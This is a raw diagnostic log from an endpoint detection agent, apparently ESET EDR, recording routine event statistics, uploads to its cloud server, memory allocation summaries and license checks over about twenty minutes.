2026-03-04 11:52:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:48:28, To:, 2026-03-04 11:52:37, Duration (s):, 249, Events Per Second:, 16.617, Events:, 4145, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3440, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 704, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460808
2026-03-04 11:52:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s398ms.
2026-03-04 11:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1390 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; TcpIpConnectionsManager: 537 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 271 KB; cloudutils::CloudData: 130 KB; BaseEvent: 54 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128924 KB;
2026-03-04 11:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:53:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:53:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:53:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:53:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1766 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; ModuleInfoCache: 304 KB; rules::ProcessConditionsCache: 289 KB; CacheEntry: 278 KB; BaseEvent: 236 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129564 KB;
2026-03-04 11:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2154 KB; ModuleMetadata: 1885 KB; TcpIpConnectionsManager: 565 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 420 KB; rules::ProcessConditionsCache: 312 KB; ModuleInfoCache: 304 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 110 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130230 KB;
2026-03-04 11:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2520 KB; ModuleMetadata: 1885 KB; BaseEvent: 600 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 304 KB; rules::ProcessConditionsCache: 294 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 158 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130791 KB;
2026-03-04 11:56:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:52:37, To:, 2026-03-04 11:56:41, Duration (s):, 244, Events Per Second:, 16.869, Events:, 4123, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3414, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458009
2026-03-04 11:56:42 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s379ms.
2026-03-04 11:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1887 KB; ProcessInfo: 1405 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; ModuleInfoCache: 305 KB; rules::ProcessConditionsCache: 279 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; BaseEvent: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128940 KB;
2026-03-04 11:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1887 KB; ProcessInfo: 1768 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 264 KB; BaseEvent: 224 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 57 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129510 KB;
2026-03-04 11:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:58:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:58:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:58:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:58:38 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2104 KB; ModuleMetadata: 1887 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; TcpIpConnectionsManager: 508 KB; BaseEvent: 394 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 223 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129982 KB;
2026-03-04 11:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2464 KB; ModuleMetadata: 1887 KB; BaseEvent: 574 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 516 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 205 KB; BatchSerializer::EventsQueueTag: 149 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130559 KB;
2026-03-04 12:00:42 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:56:37, To:, 2026-03-04 12:00:42, Duration (s):, 245, Events Per Second:, 16.743, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3416, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460635
2026-03-04 12:00:44 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s353ms.
2026-03-04 12:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1889 KB; ProcessInfo: 1414 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 519 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 263 KB; cloudutils::CloudData: 129 KB; BaseEvent: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; BatchSerializer::EventsQueueTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128900 KB;
2026-03-04 12:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1889 KB; ProcessInfo: 1780 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 526 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 262 KB; BaseEvent: 212 KB; cloudutils::CloudData: 129 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129496 KB;
2026-03-04 12:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2141 KB; ModuleMetadata: 1889 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; TcpIpConnectionsManager: 526 KB; BaseEvent: 392 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 249 KB; cloudutils::CloudData: 129 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130076 KB;
2026-03-04 12:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:03:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:03:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:03:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:03:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2504 KB; ModuleMetadata: 1889 KB; BaseEvent: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; TcpIpConnectionsManager: 526 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 238 KB; BatchSerializer::EventsQueueTag: 150 KB; cloudutils::CloudData: 129 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130643 KB;
2026-03-04 12:04:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:00:42, To:, 2026-03-04 12:04:53, Duration (s):, 251, Events Per Second:, 16.351, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3383, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 2, Livegrid:, 2, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457425
2026-03-04 12:04:54 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s353ms.
2026-03-04 12:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1890 KB; ProcessInfo: 1298 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; TcpIpConnectionsManager: 522 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 223 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BaseEvent: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 1 KB; BatchStringTag: 0 KB; Total: 128696 KB;
2026-03-04 12:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1890 KB; ProcessInfo: 1664 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; TcpIpConnectionsManager: 522 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 215 KB; BaseEvent: 187 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 48 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129285 KB;
2026-03-04 12:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2026 KB; ModuleMetadata: 1890 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 366 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 205 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 95 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129864 KB;
2026-03-04 12:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2386 KB; ModuleMetadata: 1890 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 519 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 187 KB; BatchSerializer::EventsQueueTag: 142 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130432 KB;
2026-03-04 12:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:08:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:08:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:08:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:08:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2780 KB; ModuleMetadata: 1890 KB; BaseEvent: 732 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 192 KB; BatchSerializer::EventsQueueTag: 191 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 131101 KB;
2026-03-04 12:08:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:04:53, To:, 2026-03-04 12:08:57, Duration (s):, 244, Events Per Second:, 16.866, Events:, 4120, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3404, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457953
2026-03-04 12:08:58 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 12:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1890 KB; ProcessInfo: 1714 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BaseEvent: 176 KB; rules::ProcessConditionsCache: 176 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 48 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129333 KB;
2026-03-04 12:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2079 KB; ModuleMetadata: 1892 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 621 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 357 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 167 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130002 KB;
2026-03-04 12:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2444 KB; ModuleMetadata: 1892 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 621 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 538 KB; TcpIpConnectionsManager: 526 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 151 KB; BatchSerializer::EventsQueueTag: 144 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130546 KB;
2026-03-04 12:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2802 KB; ModuleMetadata: 1892 KB; BaseEvent: 714 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 624 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 189 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 127 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 131119 KB;
2026-03-04 12:13:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:08:56, To:, 2026-03-04 12:13:01, Duration (s):, 245, Events Per Second:, 16.775, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3416, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458740
2026-03-04 12:13:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s378ms.
2026-03-04 12:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:13:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:13:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:13:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:13:39 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1892 KB; ProcessInfo: 1618 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 608 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; BaseEvent: 153 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 112 KB; BatchSerializer::EventsQueueTag: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129179 KB;
2026-03-04 12:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 1976 KB; ModuleMetadata: 1892 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 591 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; BaseEvent: 329 KB; ModuleInfoCache: 305 KB; CacheEntry: 278 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 94 KB; BatchSerializer::EventsQueueTag: 86 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129725 KB;
